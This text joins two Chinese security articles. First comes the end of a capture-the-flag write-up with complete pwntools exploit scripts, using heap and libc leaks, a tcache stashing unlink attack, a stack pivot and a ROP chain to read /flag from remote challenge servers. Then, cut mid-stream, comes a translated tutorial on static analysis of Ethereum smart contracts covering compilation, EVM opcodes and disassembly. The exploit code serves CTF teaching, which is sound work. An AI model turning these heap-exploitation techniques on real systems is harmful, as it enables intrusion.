gadgets = [0x45216,0x4526a,0xf02a4,0xf1147]
if debug:
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p = process('./one_punch')
else:
libc = ELF('./x64_libc.so.6')
p = remote('f.buuoj.cn',20173)
def Add(idx,name):
p.recvuntil('> ')
p.sendline('1')
p.recvuntil("idx: ")
p.sendline(str(idx))
p.recvuntil("hero name: ")
p.send(name)
def Edit(idx,name):
p.recvuntil('> ')
p.sendline('2')
p.recvuntil("idx: ")
p.sendline(str(idx))
p.recvuntil("hero name: ")
p.send(name)
def Show(idx):
p.recvuntil('> ')
p.sendline('3')
p.recvuntil("idx: ")
p.sendline(str(idx))
def Delete(idx):
p.recvuntil('> ')
p.sendline('4')
p.recvuntil("idx: ")
p.sendline(str(idx))
def BackDoor(buf):
p.recvuntil('> ')
p.sendline('50056')
sleep(0.1)
p.send(buf)
def exp():
#leak heap
for i in range(7):
Add(0,'a'*0x120)
Delete(0)
Show(0)
p.recvuntil("hero name: ")
heap_base = u64(p.recvline().strip('\n').ljust(8,'\x00')) - 0x850
log.success("[+]heap base => "+ hex(heap_base))
#leak libc
Add(0,'a'*0x120)
Add(1,'a'*0x400)
Delete(0)
Show(0)
p.recvuntil("hero name: ")
libc_base = u64(p.recvline().strip('\n').ljust(8,'\x00')) - (0x902ca0-0x71e000)
log.success("[+]libc base => " + hex(libc_base))
#
for i in range(6):
Add(0,'a'*0xf0)
Delete(0)
for i in range(7):
Add(0,'a'*0x400)
Delete(0)
Add(0,'a'*0x400)
Add(1,'a'*0x400)
Add(1,'a'*0x400)
Add(2,'a'*0x400)
Delete(0)#UAF
Add(2,'a'*0x300)
Add(2,'a'*0x300)
gdb.attach(p)
#agagin
Delete(1)#UAF
Add(2,'a'*0x300)
Add(2,'a'*0x300)
Edit(2,'/flag'.ljust(8,'\x00'))
Edit(1,'a'*0x300+p64(0)+p64(0x101)+p64(heap_base+(0x000055555555c460-0x555555559000))+p64(heap_base+0x1f))
#trigger
Add(0,'a'*0x217)
Delete(0)
Edit(0,p64(libc_base+libc.sym['__malloc_hook']))
Add(0,'a'*0xf0)
BackDoor('a')
#mov eax, esi ; add rsp, 0x48 ; ret
#magic_gadget = libc_base + libc.sym['setcontext']+53
# add rsp, 0x48 ; ret
magic_gadget = libc_base + 0x000000000008cfd6
payload = p64(magic_gadget)
BackDoor(payload)
p_rdi = libc_base + 0x0000000000026542
p_rsi = libc_base + 0x0000000000026f9e
p_rdx = libc_base + 0x000000000012bda6
p_rax = libc_base + 0x0000000000047cf8
syscall = libc_base + 0x00000000000cf6c5
rop_heap = heap_base + 0x44b0
rops = p64(p_rdi)+p64(rop_heap)
rops += p64(p_rsi)+p64(0)
rops += p64(p_rdx)+p64(0)
rops += p64(p_rax)+p64(2)
rops += p64(syscall)
#rops += p64(libc.sym['open'])
#read
rops += p64(p_rdi)+p64(3)
rops += p64(p_rsi)+p64(heap_base+0x260)
rops += p64(p_rdx)+p64(0x70)
rops += p64(p_rax)+p64(0)
rops += p64(syscall)
#rops += p64(libc.sym['read'])
#write
rops += p64(p_rdi)+p64(1)
rops += p64(p_rsi)+p64(heap_base+0x260)
rops += p64(p_rdx)+p64(0x70)
rops += p64(p_rax)+p64(1)
rops += p64(syscall)
Add(0,rops)
p.interactive()
exp()
## BUUCTF 新春红包赛
### 程序分析
这道题目和上面的题目非常相似，开启了除canary之外的所有保护，禁掉了`execve`。
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x09 0xc000003e if (A != ARCH_X86_64) goto 0011
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x07 0x00 0x40000000 if (A >= 0x40000000) goto 0011
0004: 0x15 0x06 0x00 0x0000003b if (A == execve) goto 0011
0005: 0x15 0x00 0x04 0x00000001 if (A != write) goto 0010
0006: 0x20 0x00 0x00 0x00000024 A = args[2] >> 32
0007: 0x15 0x00 0x02 0x00000000 if (A != 0x0) goto 0010
0008: 0x20 0x00 0x00 0x00000020 A = args[2]
0009: 0x15 0x01 0x00 0x00000010 if (A == 0x10) goto 0011
0010: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0011: 0x06 0x00 0x00 0x00000000 return KILL
此外程序允许`Add`的次数最多为`28`次，只能分配`0x10`、`0xf0`、`0x300`和`0x400`的堆块，只能`Edit`一次，存在`double
free`漏洞，后门里可以溢出到`rbp`和`retn_addr`进行栈迁移。绕过的条件是`*(_QWORD *)(qword_4058 + 0x800)
> 0x7F0000000000LL`或者`*(_QWORD *)(qword_4058 + 0x7F8`及`*(_QWORD *)(qword_4058
+ 0x808)`其中一个不为0，这个地址被初始化为堆基址。
/*
qword_4058 = (__int64)malloc(0x1000uLL);qword_4050 = qword_4058 & 0xFFFFFFFFFFFFF000LL
*/
ssize_t __fastcall Magic(__int64 a1, __int64 a2)
{
char buf; // [rsp+0h] [rbp-80h]
if ( *(_QWORD *)(qword_4058 + 0x800) <= 0x7F0000000000LL
|| *(_QWORD *)(qword_4058 + 0x7F8)
|| *(_QWORD *)(qword_4058 + 0x808) ) // large bin attack?
{
GoodBye();
}
puts("You get red packet!");
printf("What do you want to say?", a2);
return read(0, &buf, 0x90uLL); // no canary
}
### 漏洞利用
我们的做法和之前一致，通过`tcache stashing unlink attack`将目标地址改为`libc`相关地址绕过检查，之后调用后门进行栈迁移。
#coding=utf-8
from pwn import *
context.update(arch='amd64',os='linux',log_level='DEBUG')
context.terminal = ['tmux','split','-h']
debug = 0
elf = ELF('./pwn')
libc_offset = 0x3c4b20
gadgets = [0x45216,0x4526a,0xf02a4,0xf1147]
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
if debug:
p = process('./pwn')
else:
p = remote('node3.buuoj.cn',28367)
map_1 ={"0x10":"1","0xf0":"2","0x300":"3","0x400":"4"}
def Add(idx,size,content):
p.recvuntil('Your input: ')
p.sendline('1')
p.recvuntil("Please input the red packet idx: ")
p.sendline(str(idx))
p.recvuntil("How much do you want?(1.0x10 2.0xf0 3.0x300 4.0x400): ")
p.sendline(map_1[hex(size)])
p.recvuntil("Please input content: ")
p.send(content)
def Show(idx):
p.recvuntil('Your input: ')
p.sendline('4')
p.recvuntil("Please input the red packet idx: ")
p.sendline(str(idx))
def Delete(idx):
p.recvuntil('Your input: ')
p.sendline('2')
p.recvuntil("Please input the red packet idx: ")
p.sendline(str(idx))
def Edit(idx,content):
p.recvuntil('Your input: ')
p.sendline('3')
p.sendlineafter("Please input the red packet idx: ",str(idx))
p.recvuntil("Please input content: ")
p.send(content)
def Suprise(content):
p.recvuntil('Your input: ')
p.sendline('666')
p.sendafter("What do you want to say?",content)
def exp():
#leak heap
for i in range(0,13):
Add(i,0x400,str(i))
for i in range(6):
Add(13,0xf0,str(13))
Delete(13)
Delete(0)
Delete(1)
Show(1)
#leak heap
heap_base = u64(p.recvline().strip("\n").ljust(8,"\x00")) - (0xa270-0x9000)
log.success("[*]heap base => " + hex(heap_base))
#leak libc
for i in range(2,8):
Delete(i)
Show(7)
libc_base = u64(p.recvline().strip('\n').ljust(8,"\x00")) - (0x7ffff7fb4ca0-0x7ffff7dd0000)
log.success("libc base => " + hex(libc_base))
libc.address = libc_base
p_rdi = libc_base + 0x0000000000026542
p_rsi = libc_base + 0x0000000000026f9e
p_rdx = libc_base + 0x000000000012bda6
p_rax = libc_base + 0x0000000000047cf8
syscall = libc_base + 0x00000000000cf6c5
leave_ret = libc_base + 0x0000000000058373
#
#add 6 bins to tcache[0x100]
#for i in range(8,13):
# Delete(i)
Add(0,0x300,"0")#cut 0x410->0x310+0x100
Add(1,0x300,"1")#put 0x100 to small bin in order to be in tcache
Delete(9)#7 & 9
Add(2,0x300,"2")
Add(3,0x300,"3")
#now we write sth
rop_heap = heap_base+(0x55555555c700-0x555555559000)
#open
rops = "/flag\x00\x00\x00"
rops += p64(p_rdi)+p64(rop_heap)
rops += p64(p_rsi)+p64(0)
rops += p64(p_rdx)+p64(0)
rops += p64(p_rax)+p64(2)
rops += p64(syscall)
#rops += p64(libc.sym['open'])
#read
rops += p64(p_rdi)+p64(3)
rops += p64(p_rsi)+p64(heap_base+0x260)
rops += p64(p_rdx)+p64(0x30)
rops += p64(p_rax)+p64(0)
rops += p64(syscall)
#rops += p64(libc.sym['read'])
#write
rops += p64(p_rdi)+p64(1)
rops += p64(p_rsi)+p64(heap_base+0x260)
rops += p64(p_rdx)+p64(0x30)
rops += p64(p_rax)+p64(1)
rops += p64(syscall)
#rops += p64(libc.sym['write'])
rops = rops.ljust(0x300,'\x00')
Edit(9,rops+p64(0)+p64(0x101)+p64(heap_base+(0x000055555555c1e0-0x555555559000))+p64(heap_base+(0x555555559a60-0x555555559000)-0x10))
#gdb.attach(p,'b* 0x0000555555554000 + 0x144d')
Add(0,0xf0,"1")#put 0x100 to small bin in order to be in tcache
#now we rop
payload = "a"*0x80+p64(rop_heap)+p64(leave_ret)
Suprise(payload)
p.interactive()
exp()
## 总结
这种攻击方式的利用结果和`unsorted bin attack`的结果非常相似，有望成为`glibc
2.29`下替代后者的新兴手段。另外据`AngelBoy`的回复，Hitcon另一题`LazyHouse`其中也用到了这种攻击方式，大家可以实践一下。
## 参考
[berming](https://medium.com/@ktecv2000/hitcon-ctf-2019-quals-one-punch-man-pwn-292pts-3e94eb3fd312) | 社区文章 |
# 区块链安全——以太坊智能合约静态分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：高峰 黄绍莽（来自Qihoo 360 IceSword Lab）
## 摘要
目前，以太坊智能合约的安全事件频发，从The
DAO事件到最近的Fomo3D奖池被盗，每次安全问题的破坏力都是巨大的，如何正确防范智能合约的安全漏洞成了当务之急。本文主要讲解了如何通过对智能合约的静态分析进而发现智能合约中的漏洞。由于智能合约部署之后的更新和升级非常困难，所以在智能合约部署之前对其进行静态分析，检测并发现智能合约中的漏洞，可以最大限度的保证智能合约部署之后的安全。
本文包含以下五个章节：
1. 智能合约的编译
2. 智能合约汇编指令分析
3. 从反编译代码构建控制流图
4. 从控制流图开始约束求解
5. 常见的智能合约漏洞以及检测方法
## 第一章 智能合约的编译
本章节是智能合约静态分析的第一章，主要讲解了智能合约的编译，包括编译环境的搭建、solidity编译器的使用。
### 1.1 编译环境的搭建
我们以Ubuntu系统为例，介绍编译环境的搭建过程。首先介绍的是go-ethereum的安装。
1.1.1 **安装go-ethereum**
通过apt-get安装是比较简便的安装方法，只需要在安装之前添加go-ethereum的ppa仓库，完整的安装命令如下：
sudo apt-get install software-properties-common
sudo add-apt-repository -y ppa:ethereum/ethereum
sudo apt-get update
sudo apt-get install ethereum
安装成功后，我们在命令行下就可以使用geth,evm,swarm,bootnode,rlpdump,abigen等命令。
当然，我们也可以通过编译源码的方式进行安装，但是这种安装方式需要提前安装golang的环境，步骤比较繁琐。
1.1.2 **安装solidity编译器**
目前以太坊上的智能合约绝大多数是通过solidity语言编写的，所以本章只介绍solidity编译器的安装。solidity的安装和go-ethereum类似，也是通过apt-get安装，在安装前先添加相应的ppa仓库。完整的安装命令如下：
sudo add-apt-repository ppa:ethereum/ethereum
sudo apt-get update
sudo apt-get install solc
执行以上命令后，最新的稳定版的solidity编译器就安装完成了。之后我们在命令行就可以使用solc命令了。
### 1.2 solidity编译器的使用
1.2.1 **基本用法**
我们以一个简单的以太坊智能合约为例进行编译，智能合约代码(保存在test.sol文件)如下：
pragma solidity ^0.4.25;
contract Test {
}
执行solc命令：
solc --bin test.sol
输出结果如下：
======= test.sol:Test ======= Binary: 6080604052348015600f57600080fd5b50603580601d6000396000f3006080604052600080fd00a165627a7a72305820f633e21e144cae24615a160fcb484c1f9495df86d7d21e9be0df2cf3b4c1f9eb0029
solc命令的–bin选项，用来把智能合约编译后的二进制以十六进制形式表示。和–bin选项类似的是–bin-runtime，这个选项也会输出十六进制表示，但是会省略智能合约编译后的部署代码。接下来我们执行solc命令：
solc --bin-runtime test.sol
输出结果如下：
======= test.sol:Test ======= Binary of the runtime part: 6080604052600080fd00a165627a7a72305820f633e21e144cae24615a160fcb484c1f9495df86d7d21e9be0df2cf3b4c1f9eb0029
对比两次输出结果不难发现，使用–bin-runtime选项后，输出结果的开始部分少了6080604052348015600f57600080fd5b50603580601d6000396000f300，为何会少了这部分代码呢，看完接下来的智能合约编译后的字节码结构就明白了。
1.2.2 **智能合约字节码结构**
智能合约编译后的字节码，分为三个部分：部署代码、runtime代码、auxdata。
1.部署代码：以上面的输出结果为例，其中6080604052348015600f57600080fd5b50603580601d6000396000f300为部署代码。以太坊虚拟机在创建合约的时候，会先创建合约账户，然后运行部署代码。运行完成后它会将runtime代码+auxdata
存储到区块链上。之后再把二者的存储地址跟合约账户关联起来(也就是把合约账户中的code hash字段用该地址赋值)，这样就完成了合约的部署。
2.runtime代码：该例中6080604052600080fd00是runtime代码。
3.auxdata：每个合约最后面的43字节就是auxdata，它会紧跟在runtime代码后面被存储起来。
solc命令的–bin-runtime选项，输出了runtime代码和auxdata，省略了部署代码，所以输出结果的开始部分少了
6080604052348015600f57600080fd5b50603580601d6000396000f300。
**1.2.3 生成汇编代码**
solc命令的–asm选项用来生成汇编代码，接下来我们还是以最初的智能合约为例执行solc命令，查看生成的汇编代码。
执行命令：
solc --bin --asm test.sol
输出结果如下：
======= test.sol:Test =======
EVM assembly:
... */ "test.sol":28:52 contract Test {
mstore(0x40, 0x80)
callvalue
/* "--CODEGEN--":8:17 */
dup1
/* "--CODEGEN--":5:7 */
iszero
tag_1
jumpi
/* "--CODEGEN--":30:31 */
0x0
/* "--CODEGEN--":27:28 */
dup1
/* "--CODEGEN--":20:32 */
revert
/* "--CODEGEN--":5:7 */
tag_1:
... */ "test.sol":28:52 contract Test {
pop
dataSize(sub_0)
dup1
dataOffset(sub_0)
0x0
codecopy
0x0
return
stop
sub_0: assembly {
... */ /* "test.sol":28:52 contract Test {
mstore(0x40, 0x80)
0x0
dup1
revert
auxdata: 0xa165627a7a72305820f633e21e144cae24615a160fcb484c1f9495df86d7d21e9be0df2cf3b4c1f9eb0029
}
由1.2.2小节可知，智能合约编译后的字节码分为部署代码、runtime代码和auxdata三部分。同样，智能合约编译生成的汇编指令也分为三部分：EVM
assembly标签下的汇编指令对应的是部署代码；sub_0标签下的汇编指令对应的是runtime代码；sub_0标签下的auxdata和字节码中的auxdata完全相同。由于目前智能合约文件并没有实质的内容，所以sub_0标签下没有任何有意义的汇编指令。
**1.2.4 生成ABI**
solc命令的–abi选项可以用来生成智能合约的ABI，同样还是最开始的智能合约代码进行演示。
执行solc命令：
solc --abi test.sol
输出结果如下：
======= test.sol:Test =======
Contract JSON ABI
[]
可以看到生成的结果中ABI数组为空，因为我们的智能合约里并没有内容(没有变量声明，没有函数)。
### 1.3 总结
本章节主要介绍了编译环境的搭建、智能合约的字节码的结构组成以及solc命令的常见用法(生成字节码，生成汇编代码，生成abi)。在下一章中，我们将对生成的汇编代码做深入的分析。
## 第二章 智能合约汇编指令分析
本章是智能合约静态分析的第二章，在第一章中我们简单演示了如何通过solc命令生成智能合约的汇编代码，在本章中我们将对智能合约编译后的汇编代码进行深入分析，以及通过evm命令对编译生成的字节码进行反编译。
### 2.1 以太坊中的汇编指令
为了让大家更好的理解汇编指令，我们先简单介绍下以太坊虚拟机EVM的存储结构，熟悉Java虚拟机的同学可以把EVM和JVM进行对比学习。
2.1.1 **以太坊虚拟机EVM**
编程语言虚拟机一般有两种类型，基于栈，或者基于寄存器。和JVM一样，EVM也是基于栈的虚拟机。
既然是支持栈的虚拟机，那么EVM肯定首先得有个栈。为了方便进行密码学计算，EVM采用了32字节（256比特）的字长。EVM栈以字（Word）为单位进行操作，最多可以容纳1024个字。下面是EVM栈的示意图：
EVM栈示意图
2.1.2 **以太坊的汇编指令集：**
和JVM一样，EVM执行的也是字节码。由于操作码被限制在一个字节以内，所以EVM指令集最多只能容纳256条指令。目前EVM已经定义了约142条指令，还有100多条指令可供以后扩展。这142条指令包括算术运算指令，比较操作指令，按位运算指令，密码学计算指令，栈、memory、storage操作指令，跳转指令，区块、智能合约相关指令等。下面是已经定义的EVM操作码分布图[[1]](https://blog.csdn.net/zxhoo/article/details/81865629)（灰色区域是目前还没有定义的操作码）
下面的表格中总结了常用的汇编指令：
操作码
|
汇编指令
| 描述
---|---|---
0x00
|
STOP
| 结束指令
0x01
|
ADD
| 把栈顶的两个值出栈，相加后把结果压入栈顶
0x02
|
MUL
| 把栈顶的两个值出栈，相乘后把结果压入栈顶
0x03
|
SUB
| 从栈中依次出栈两个值arg0和arg1，用arg0减去arg1，再把结果压入栈顶
0x10
|
LT
| 把栈顶的两个值出栈，如果先出栈的值小于后出栈的值则把1入栈，反之把0入栈
0x11
|
GT
| 和LT类似，如果先出栈的值大于后出栈的值则把1入栈，反之把0入栈
0x14
|
EQ
| 把栈顶的两个值出栈，如果两个值相等则把1入栈，否则把0入栈
0x15
|
ISZERO
| 把栈顶值出栈，如果该值是0则把1入栈，否则把0入栈
0x34
|
CALLVALUE
| 获取交易中的转账金额
0x35
|
CALLDATALOAD
| 获取交易中的input字段的值
0x36
|
CALLDATASIZE
| 获取交易中input字段的值的长度
0x50
|
POP
| 把栈顶值出栈
0x51
|
MLOAD
| 把栈顶出栈并以该值作为内存中的索引，加载内存中该索引之后的32字节到栈顶
0x52
|
MSTORE
| 从栈中依次出栈两个值arg0和arg1，并把arg1存放在内存的arg0处
0x54
|
SLOAD
| 把栈顶出栈并以该值作为storage中的索引，加载该索引对应的值到栈顶
0x55
|
SSTORE
| 从栈中依次出栈两个值arg0和arg1，并把arg1存放在storage的arg0处
0x56
|
JUMP
| 把栈顶值出栈，并以此值作为跳转的目的地址
0x57
|
JUMPI
| 从栈中依次出栈两个值arg0和arg1，如果arg1的值为真则跳转到arg0处，否则不跳转
0x60
|
PUSH1
| 把1个字节的数值放入栈顶
0x61
|
PUSH2
| 把2个字节的数值放入栈顶
0x80
|
DUP1
| 复制当前栈中第一个值到栈顶
0x81
|
DUP2
| 复制当前栈中第二个值到栈顶
0x90
|
SWAP1
| 把栈中第一个值和第二个值进行调换
0x91
|
SWAP2
| 把栈中第一个值和第三个值进行调换
### 2.2 智能合约汇编分析
在第一章中，为了便于入门，我们分析的智能合约文件并不包含实质的内容。在本章中我们以一个稍微复杂的智能合约为例进行分析。智能合约(保存在test.sol文件中)代码如下：
pragma solidity ^0.4.25;
contract Overflow {
uint private sellerBalance=0;
function add(uint value) returns (bool, uint){
sellerBalance += value;
assert(sellerBalance >= value);
}
}
### 2.2.1 生成汇编代码
执行solc命令：solc –asm –optimize test.sol，其中–optimize选项用来开启编译优化
输出的结果如下：
EVM assembly:
... */ "test.sol":26:218 contract Overflow {
mstore(0x40, 0x80)
/* "test.sol":78:79 0 */
0x0
/* "test.sol":51:79 uint private sellerBalance=0 */
dup1
sstore
... */ "test.sol":26:218 contract Overflow {
callvalue
/* "--CODEGEN--":8:17 */
dup1
/* "--CODEGEN--":5:7 */
iszero
tag_1
jumpi
/* "--CODEGEN--":30:31 */
0x0
/* "--CODEGEN--":27:28 */
dup1
/* "--CODEGEN--":20:32 */
revert
/* "--CODEGEN--":5:7 */
tag_1:
... */ "test.sol":26:218 contract Overflow {
pop
dataSize(sub_0)
dup1
dataOffset(sub_0)
0x0
codecopy
0x0
return
stop
sub_0: assembly {
... */ /* "test.sol":26:218 contract Overflow {
mstore(0x40, 0x80)
jumpi(tag_1, lt(calldatasize, 0x4))
and(div(calldataload(0x0), 0x100000000000000000000000000000000000000000000000000000000), 0xffffffff)
0x1003e2d2
dup2
eq
tag_2
jumpi
tag_1:
0x0
dup1
revert
... */ /* "test.sol":88:215 function add(uint value) returns (bool, uint){
tag_2:
callvalue
/* "--CODEGEN--":8:17 */
dup1
/* "--CODEGEN--":5:7 */
iszero
tag_3
jumpi
/* "--CODEGEN--":30:31 */
0x0
/* "--CODEGEN--":27:28 */
dup1
/* "--CODEGEN--":20:32 */
revert
/* "--CODEGEN--":5:7 */
tag_3:
pop
... */ /* "test.sol":88:215 function add(uint value) returns (bool, uint){
tag_4
calldataload(0x4)
jump(tag_5)
tag_4:
/* 省略部分代码 */
tag_5:
/* "test.sol":122:126 bool */
0x0
/* "test.sol":144:166 sellerBalance += value */
dup1
sload
dup3
add
dup1
dup3
sstore
/* "test.sol":122:126 bool */
dup2
swap1
/* "test.sol":184:206 sellerBalance >= value */
dup4
gt
iszero
/* "test.sol":177:207 assert(sellerBalance >= value) */
tag_7
jumpi
invalid
tag_7:
... */ /* "test.sol":88:215 function add(uint value) returns (bool, uint){
swap2
pop
swap2
jump // out
auxdata: 0xa165627a7a7230582067679f8912e58ada2d533ca0231adcedf3a04f22189b53c93c3d88280bb0e2670029
}
回顾第一章我们得知，智能合约编译生成的汇编指令分为三部分：EVM
assembly标签下的汇编指令对应的是部署代码；sub_0标签下的汇编指令对应的是runtime代码，是智能合约部署后真正运行的代码。
**2.2.2 分析汇编代码**
接下来我们从sub_0标签的入口开始,一步步地进行分析：
1. 最开始处执行mstore(0x40, 0x80)指令,把0x80存放在内存的0x40处。
2. 第二步执行jumpi指令，在跳转之前要先通过calldatasize指令用来获取本次交易的input字段的值的长度。如果该长度小于4字节则是一个非法调用，程序会跳转到tag_1标签下。如果该长度大于4字节则顺序向下执行。
3. 接下来是获取交易的input字段中的函数签名。如果input字段中的函数签名等于“0x1003e2d2”，则EVM跳转到tag_2标签下执行,否则不跳转，顺序向下执行tag_1。ps:使用web3.sha3(“add(uint256)”)可以计算智能合约中add函数的签名，计算结果为0x1003e2d21e48445eba32f76cea1db2f704e754da30edaf8608ddc0f67abca5d0,之后取前四字节“0x1003e2d2”作为add函数的签名。
4. 在tag_2标签中，首先执行callvalue指令,该指令获取交易中的转账金额，如果金额是0，则执行接下来的jumpi指令，就会跳转到tag_3标签。ps:因为add函数没有payable修饰，导致该函数不能接受转账，所以在调用该函数时会先判断交易中的转账金额是不是0。
5. 在tag_3标签中，会把tag_4标签压入栈，作为函数调用完成后的返回地址，同时calldataload(0x4)指令会把交易的input字段中第4字节之后的32字节入栈，之后跳转到tag_5标签中继续执行。
6. 在tag_5标签中，会执行add函数中的所有代码，包括对变量sellerBalance进行赋值以及比较变量sellerBalance和函数参数的大小。如果变量sellerBalance的值大于函数参数，接下来会执行jumpi指令跳转到tag_7标签中，否则执行invalid,程序出错。
7. 在tag_7标签中，执行两次swap2和一次pop指令后，此时的栈顶是tag_4标签，即函数调用完成后的返回地址。接下来的jump指令会跳转到tag_4标签中执行，add函数的调用就执行完毕了。
### 2.3 智能合约字节码的反编译
在第一章中，我们介绍了go-ethereum的安装，安装完成后我们在命令行中就可以使用evm命令了。下面我们使用evm命令对智能合约字节码进行反编译。
需要注意的是，由于智能合约编译后的字节码分为部署代码、runtime代码和auxdata三部分，但是部署后真正执行的是runtime代码，所以我们只需要反编译runtime代码即可。还是以本章开始处的智能合约为例，执行solc
–asm –optimize test.sol 命令，截取字节码中的runtime代码部分：
608060405260043610603e5763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416631003e2d281146043575b600080fd5b348015604e57600080fd5b5060586004356073565b60408051921515835260208301919091528051918290030190f35b6000805482018082558190831115608657fe5b9150915600
把这段代码保存在某个文件中，比如保存在test.bytecode中。
接下来执行反编译命令：evm disasm test.bytecode
得到的结果如下：
00000: PUSH1 0x80
00002: PUSH1 0x40
00004: MSTORE
00005: PUSH1 0x04
00007: CALLDATASIZE
00008: LT
00009: PUSH1 0x3e
0000b: JUMPI
0000c: PUSH4 0xffffffff
00011: PUSH29 0x0100000000000000000000000000000000000000000000000000000000
0002f: PUSH1 0x00
00031: CALLDATALOAD
00032: DIV
00033: AND
00034: PUSH4 0x1003e2d2
00039: DUP2
0003a: EQ
0003b: PUSH1 0x43
0003d: JUMPI
0003e: JUMPDEST
0003f: PUSH1 0x00
00041: DUP1
00042: REVERT
00043: JUMPDEST
00044: CALLVALUE
00045: DUP1
00046: ISZERO
00047: PUSH1 0x4e
00049: JUMPI
0004a: PUSH1 0x00
0004c: DUP1
0004d: REVERT
0004e: JUMPDEST
0004f: POP
00050: PUSH1 0x58
00052: PUSH1 0x04
00054: CALLDATALOAD
00055: PUSH1 0x73
00057: JUMP
00058: JUMPDEST
00059: PUSH1 0x40
0005b: DUP1
0005c: MLOAD
0005d: SWAP3
0005e: ISZERO
0005f: ISZERO
00060: DUP4
00061: MSTORE
00062: PUSH1 0x20
00064: DUP4
00065: ADD
00066: SWAP2
00067: SWAP1
00068: SWAP2
00069: MSTORE
0006a: DUP1
0006b: MLOAD
0006c: SWAP2
0006d: DUP3
0006e: SWAP1
0006f: SUB
00070: ADD
00071: SWAP1
00072: RETURN
00073: JUMPDEST
00074: PUSH1 0x00
00076: DUP1
00077: SLOAD
00078: DUP3
00079: ADD
0007a: DUP1
0007b: DUP3
0007c: SSTORE
0007d: DUP2
0007e: SWAP1
0007f: DUP4
00080: GT
00081: ISZERO
00082: PUSH1 0x86
00084: JUMPI
00085: Missing opcode 0xfe
00086: JUMPDEST
00087: SWAP2
00088: POP
00089: SWAP2
0008a: JUMP
0008b: STOP
接下来我们把上面的反编译代码和2.1节中生成的汇编代码进行对比分析。
2.3.1 **分析反编译代码**
1. 反编译代码的00000到0003d行，对应的是汇编代码中sub_0标签到tag_1标签之间的代码。MSTORE指令把0x80存放在内存地址0x40地址处。接下来的LT指令判断交易的input字段的值的长度是否小于4，如果小于4，则之后的JUMPI指令就会跳转到0x3e地址处。对比本章第二节中生成的汇编代码不难发现，0x3e就是tag_1标签的地址。接下来的指令获取input字段中的函数签名，如果等于0x1003e2d2则跳转到0x43地址处。0x43就是汇编代码中tag_2标签的地址。
2. 反编译代码的0003e到00042行，对应的是汇编代码中tag_1标签内的代码。
3. 反编译代码的00043到0004d行，对应的是汇编代码中tag_2标签内的代码。0x43地址对应的指令是JUMPDEST,该指令没有实际意义，只是起到占位的作用。接下来的CALLVALUE指令获取交易中的转账金额,如果金额是0，则执行接下来的JUMPI指令，跳转到0x4e地址处。0x4e就是汇编代码中tag_3标签的地址。
4. 反编译代码的0004e到00057行，对应的是汇编代码中tag_3标签内的代码。0x4e地址对应的指令是JUMPDEST。接下来的PUSH1 0x58指令，把0x58压入栈，作为函数调用完成后的返回地址。之后的JUMP指令跳转到0x73地址处。0x73就是汇编代码中tag_5标签的地址。
5. 反编译代码的00058到00072行，对应的是汇编代码中tag_4标签内的代码。
6. 反编译代码的00073到00085行，对应的是汇编代码中tag_5标签内的代码。0x73地址对应的指令是JUMPDEST,之后的指令会执行add函数中的所有代码。如果变量sellerBalance的值大于函数参数，接下来会执行JUMPI指令跳转到0x86地址处，否则顺序向下执行到0x85地址处。这里有个需要注意的地方，在汇编代码中此处显示invalid,但在反编译代码中，此处显示Missing opcode 0xfe。
7. 反编译代码的00086到0008a行，对应的是汇编代码中tag_7标签内的代码。
8. 0008b行对应的指令是STOP,执行到此处时整个流程结束。
### 2.4 总结
本章首先介绍了EVM的存储结构和以太坊中常用的汇编指令。之后逐行分析了智能合约编译后的汇编代码，最后反编译了智能合约的字节码，把反编译的代码和汇编代码做了对比分析。相信读完本章之后，大家基本上能够看懂智能合约的汇编代码和反编译后的代码。在下一章中，我们将介绍如何从智能合约的反编译代码中生成控制流图(control
flow graph)。
## 第三章 从反编译代码构建控制流图
本章是智能合约静态分析的第三章，第二章中我们生成了反编译代码，本章我们将从这些反编译代码出发，一步一步的构建控制流图。
### 3.1 控制流图的概念
3.1.1 **基本块(basic** block)
基本块是一个最大化的指令序列，程序执行只能从这个序列的第一条指令进入，从这个序列的最后一条指令退出。
构建基本块的三个原则： 1. 遇到程序、子程序的第一条指令或语句，结束当前基本块，并将该语句作为一个新块的第一条语句。 2.
遇到跳转语句、分支语句、循环语句，将该语句作为当前块的最后一条语句，并结束当前块。 3. 遇到其他语句直接将其加入到当前基本块。
3.1.2 **控制流图(control** flow graph)
控制流图是以基本块为结点的有向图G=(N,
E)，其中N是结点集合，表示程序中的基本块；E是结点之间边的集合。如果从基本块P的出口转向基本块块Q，则从P到Q有一条有向边P->Q，表示从结点P到Q存在一条可执行路径，P为Q的前驱结点，Q为P的后继结点。也就代表在执行完结点P中的代码语句后，有可能顺序执行结点Q中的代码语句[[2]](http://cc.jlu.edu.cn/G2S/Template/View.aspx?courseId=644&topMenuId=131469&action=view&curfolid=135637)。
### 3.2 构建基本块
控制流图是由基本块和基本块之间的边构成，所以构建基本块是控制流图的前提。接下来我们以反编译代码作为输入，分析如何构建基本块。
第二章中的反编译代码如下：
00000: PUSH1 0x80
00002: PUSH1 0x40
00004: MSTORE
00005: PUSH1 0x04
00007: CALLDATASIZE
00008: LT
00009: PUSH1 0x3e
0000b: JUMPI
0000c: PUSH4 0xffffffff
00011: PUSH29 0x0100000000000000000000000000000000000000000000000000000000
0002f: PUSH1 0x00
00031: CALLDATALOAD
00032: DIV
00033: AND
00034: PUSH4 0x1003e2d2
00039: DUP2
0003a: EQ
0003b: PUSH1 0x43
0003d: JUMPI
0003e: JUMPDEST
0003f: PUSH1 0x00
00041: DUP1
00042: REVERT
00043: JUMPDEST
00044: CALLVALUE
00045: DUP1
00046: ISZERO
00047: PUSH1 0x4e
00049: JUMPI
0004a: PUSH1 0x00
0004c: DUP1
0004d: REVERT
0004e: JUMPDEST
0004f: POP
00050: PUSH1 0x58
00052: PUSH1 0x04
00054: CALLDATALOAD
00055: PUSH1 0x73
00057: JUMP
00058: JUMPDEST
00059: PUSH1 0x40
0005b: DUP1
0005c: MLOAD
0005d: SWAP3
0005e: ISZERO
0005f: ISZERO
00060: DUP4
00061: MSTORE
00062: PUSH1 0x20
00064: DUP4
00065: ADD
00066: SWAP2
00067: SWAP1
00068: SWAP2
00069: MSTORE
0006a: DUP1
